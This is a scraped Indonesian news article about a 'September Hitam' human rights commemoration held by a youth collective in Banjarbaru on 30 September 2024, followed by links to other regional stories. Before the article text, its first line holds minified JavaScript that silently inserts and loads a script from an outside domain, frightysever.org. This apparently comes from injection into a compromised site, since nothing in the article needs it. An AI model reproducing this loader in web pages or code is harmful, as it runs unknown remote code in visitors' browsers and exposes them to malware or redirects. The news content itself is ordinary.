(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sekelompok orang namakan diri gerakan kolektif Kalimantan Selatan punya cara sendiri menyuarakan aksi “September Hitam”.
Sekitar 50 orang berkumpul di lapangan dr Murdjani Banjarbaru, pada Senin (30/9/2024) siang menjelang petang.
Di penghujung hari, mereka merefleksikan bulan September sebagai bulan kelam dalam peta sejarah penegakan hak asasi manusia (HAM) di Indonesia.
Sebagian besar dari mereka anak muda, mengenakan pakaian hitam. M Jeffry Raharja sebagai pegiat gerakan kolektif di Kalsel mengatakan, beginilah potret penegakan HAM di Indonesia.
Beberapa peristiwa getir yang terjadi pada September, seperti Tragedi 65 dengan pembantaian atau penghilangan nyawa berjuta orang, Tragedi Tanjung Priok, Tragedi Semanggi, hingga kasus pembunuhan Munir.
“Kita kembali mengingatkan bahwasanya negara kita ini belum jadi negara yang baik-baik saja, perlu diingatkan lagi bahwa ada pelanggaran HAM di masa lalu, bahkan di masa sekarang ataupun bahkan di masa depan lebih darurat lagi,” ujar M Jeffry Raharja kepada Kanalkalimantan.com, Senin (30/9/2024) petang.
Dirinya menyebutkan pelanggaran HAM yang baru saja terjadi, seperti kasus Kanjuruhan yang menelan hingga 130 nyawa manusia.
Menurutnya tragedi itu malah hanya menjadi angka, tidak ada upaya maksimal dari negara untuk mengusut tuntas pelanggaran tersebut.
Baca juga: BRImo FSTVL Hadir Menyuguhkan Beragam Hadiah
Sedangkan di Kalsel sendiri bulan September, masyarakat juga dibuat kelam dengan kejadian dimana ada petani yang dikriminalisasi dan saat ini sedang menjalankan proses persidangan.
“Bagi saya pribadi juga merupakan suatu pelanggaran HAM, dimana petani itu dijadikan tersangka dengan diikat kakinya. Bagi saya pribadi secara psikologis merupakan pelanggaran HAM,” ungkapnya.
Membangun kesadaran publik dan kesadaran bersama itu mereka gambarka melalui rangkaian kegkatan mulai dari mimbar bebas berisi orasi, puisi, hingga teatrikal.
Baca juga: Merawat Ingatan Tragedi Pelanggaran HAM “September Hitam” Mahasiswa UIN Antasari
“Ada juga pasar gratis, pangkas rambut gratis, samblon baju gratis, ada sayuran gratis asinan gratis, pakaian layak pakai yang dibagikan secara gratis,” sebut dia.
Di antara puluhan orang ini, beberapa tamu dari luar daerah turut datang mendukung terselenggaranya kegiatan ini.
Kegiatan ini turut dimeriahkan penampilkan band dan stand pemeriksaan kesehatan gratis. Mereka juga dikawal oleh pihak Kepolisian hingga kegiatan berakhir. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
This website uses cookies.